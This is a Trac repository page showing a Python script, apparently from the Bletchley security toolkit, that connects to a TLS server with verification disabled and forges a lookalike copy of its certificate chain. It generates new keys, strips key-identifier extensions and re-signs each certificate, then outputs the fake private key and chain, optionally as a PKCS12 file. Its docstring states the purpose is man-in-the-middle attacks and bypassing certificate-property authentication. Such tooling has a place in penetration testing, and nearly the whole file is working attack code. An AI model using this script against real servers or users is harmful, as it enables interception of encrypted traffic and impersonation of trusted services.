source: trunk/bin/bletchley-clonecertchain @ 73

Last change on this file since 73 was 73, checked in by tim, 10 years ago

added PKCS12 capabilities to clonecertchain

  • Property svn:executable set to *
File size: 8.3 KB
Line 
1#!/usr/bin/env python3
2#-*- mode: Python;-*-
3#
4# Requires Python 3+
5
6
7'''
8An experimental script which attempts to clone a server certificate's entire
9certificate chain, ideally altering only the keys and signatures along the
10way.
11
12This is useful in a few man-in-the-middle attack situations, including:
13- You swap out certificates on a user and the manually inspect the certificate
14  properties before accepting them.  Identical properties are more convincing.
15
16- A product includes special-purpose certificate properties that are validated
17  with custom procedures (e.g. client user name, product serial number, ...). 
18  If these properties are validated but the certificate's CA isn't, then cloning
19  the full set of certificate properties is essential to bypass the
20  authentication.
21
22Currently, this script is somewhat limited and buggy, but will hopefully
23improve over time.  Patches welcome!
24
25
26Copyright (C) 2014 Blindspot Security LLC
27Author: Timothy D. Morgan
28
29 This program is free software: you can redistribute it and/or modify
30 it under the terms of the GNU Lesser General Public License, version 3,
31 as published by the Free Software Foundation.
32
33 This program is distributed in the hope that it will be useful,
34 but WITHOUT ANY WARRANTY; without even the implied warranty of
35 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
36 GNU General Public License for more details.
37
38 You should have received a copy of the GNU General Public License
39 along with this program.  If not, see <http://www.gnu.org/licenses/>.
40'''
41
42import sys
43import argparse
44import traceback
45import socket
46try:
47    import OpenSSL
48    from OpenSSL import SSL
49except:
50    sys.stderr.write('ERROR: Could not locate pyOpenSSL module.  Under Debian-based systems, try:\n')
51    sys.stderr.write('       # apt-get install python3-openssl\n')
52    sys.stderr.write('NOTE: pyOpenSSL version 0.14 or later is required!\n')
53    sys.exit(2)
54
55
56def createClientContext():
57    tlsClientContext = SSL.Context(SSL.SSLv3_METHOD)
58    tlsClientContext.set_verify(SSL.VERIFY_NONE, (lambda a,b,c,d,e: True))
59    return tlsClientContext
60
61
62def fetchCertificateChain(host, port):
63    serverSock = socket.socket()
64    serverSock.connect((host,port))
65   
66    try:
67        server = SSL.Connection(createClientContext(), serverSock)
68        server.set_connect_state()
69        server.do_handshake()
70    except Exception as e:
71        print("Exception during handshake with server: ")
72        traceback.print_exc(e)
73        return None
74       
75    return server.get_peer_cert_chain()
76
77
78def normalizeCertificateName(cert_name):
79    n = cert_name.get_components()
80    n.sort()
81    return tuple(n)
82
83
84def normalizeCertificateChain(chain):
85    # Organize certificates by subject and issuer for quick lookups
86    subject_table = {}
87    issuer_table = {}
88    for c in chain:
89        subject_table[normalizeCertificateName(c.get_subject())] = c
90        issuer_table[normalizeCertificateName(c.get_issuer())] = c
91
92    # Now find root or highest-level intermediary
93    root = None
94    for c in chain:
95        i = normalizeCertificateName(c.get_issuer())
96        s = normalizeCertificateName(c.get_subject())
97        if (i == s) or (i not in subject_table):
98            if root != None:
99                sys.stderr.write("WARN: Multiple root certificates found or broken certificate chain detected.")
100            else:
101                # Go with the first identified "root", since that's more likely to link up with the server cert
102                root = c
103
104    # Finally, build the chain from the top-down in the correct order
105    new_chain = []
106    nxt = root
107    while nxt != None:
108        new_chain = [nxt] + new_chain
109        s = normalizeCertificateName(nxt.get_subject())
110        nxt = issuer_table.get(s)
111   
112    return new_chain
113   
114
115def genFakeKey(certificate):
116    fake_key = OpenSSL.crypto.PKey()
117    old_pubkey = certificate.get_pubkey()
118    fake_key.generate_key(old_pubkey.type(), old_pubkey.bits())
119
120    return fake_key
121
122
123def getDigestAlgorithm(certificate):
124    # XXX: ugly hack because pyopenssl API for this is limited
125    if b'md5' in certificate.get_signature_algorithm():
126        return 'md5'
127    else:
128        return 'sha1'
129
130
131def deleteExtension(certificate, index):
132    import cffi
133    from cffi import FFI
134    ffi = FFI()
135    ffi.cdef('''void* X509_delete_ext(void* x, int loc);''')
136    libssl = ffi.dlopen('libssl.so')
137    ext = libssl.X509_delete_ext(certificate._x509, index)
138    #XXX: supposed to free ext here
139
140
141def removePeskyExtensions(certificate):
142    #for index in range(0,certificate.get_extension_count()):
143    #    e = certificate.get_extension(index)
144    #    print("extension %d: %s\n" % (index, e.get_short_name()), e)
145
146    index = 0
147    while index < certificate.get_extension_count():
148        e = certificate.get_extension(index)
149        if e.get_short_name() in (b'subjectKeyIdentifier', b'authorityKeyIdentifier'):
150            deleteExtension(certificate, index)
151            #XXX: would be nice if each of these extensions were re-added with appropriate values
152            index -= 1
153        index += 1
154   
155    #for index in range(0,certificate.get_extension_count()):
156    #    e = certificate.get_extension(index)
157    #    print("extension %d: %s\n" % (index, e.get_short_name()), e)
158
159
160def genFakeCertificateChain(cert_chain):
161    ret_val = []
162    cert_chain.reverse() # start with highest level authority
163
164    c = cert_chain[0]
165    i = normalizeCertificateName(c.get_issuer())
166    s = normalizeCertificateName(c.get_subject())
167    if s != i:
168        # XXX: consider retrieving root locally and including a forged version instead
169        c.set_issuer(c.get_subject())
170    k = genFakeKey(c)
171    c.set_pubkey(k)
172    removePeskyExtensions(c)
173    c.sign(k, getDigestAlgorithm(c))
174    ret_val.append(c)
175
176    prev = k
177    for c in cert_chain[1:]:
178        k = genFakeKey(c)
179        c.set_pubkey(k)
180        removePeskyExtensions(c)
181        c.sign(prev, getDigestAlgorithm(c))
182        prev = k
183        ret_val.append(c)
184
185    ret_val.reverse()
186    return k,ret_val
187
188
189parser = argparse.ArgumentParser(
190    description="An experimental script which attempts to clone an SSL server's"
191    " entire certificate chain, ideally altering only the keys and signatures"
192    " along the way.  The script prints results to stdout, starting with a PKCS7 (PEM)"
193    " key (the fake server private key) followed by the newly forged certificate"
194    " chain, also in PEM format.  (The new intermediate and root private keys are"
195    " not currently printed, but will likely be somehow available in a future"
196    " version.)")
197
198parser.add_argument('host', nargs=1, default=None,
199                    help='IP address or host name of server')
200parser.add_argument('port', nargs='?', type=int, default=443,
201                    help='TCP port number of SSL service (default: 443)')
202parser.add_argument(
203    '--p12', dest='p12_filename', type=str, required=False, default=None,
204    help='If specified, a PKCS12 file will be written with the generated certificates'
205    ' and server key (in addition to normal PKCS7 output).  NOTE: the file specified'
206    ' will be overwritten without prompting if it already exists.')
207parser.add_argument(
208    '--p12password', dest='p12_password', type=str, required=False, default='bletchley',
209    help='If specified along with the --p12 argument, the PKCS12 file will use this password'
210    ' to encrypt the server private key.  (Otherwise, the password "bletchley" is used).')
211options = parser.parse_args()
212
213#print("REAL CHAIN:")
214chain = fetchCertificateChain(options.host[0],options.port)
215#for c in chain:
216#    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))
217
218#chain = normalizeCertificateChain(chain)
219#for c in chain:
220#    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))
221
222#print("FAKE KEY AND CHAIN:")
223fake_key, fake_chain = genFakeCertificateChain(chain)
224print(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, fake_key).decode('utf-8'))
225for c in fake_chain:
226    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))
227
228if options.p12_filename:
229    p12_file = open(options.p12_filename, 'w+b')
230
231    p12 = OpenSSL.crypto.PKCS12()
232    p12.set_ca_certificates(fake_chain[1:])
233    p12.set_privatekey(fake_key)
234    p12.set_certificate(fake_chain[0])
235
236    p12_file.write(p12.export(passphrase=options.p12_password.encode('utf-8')))
237    p12_file.close()
Note: See TracBrowser for help on using the repository browser.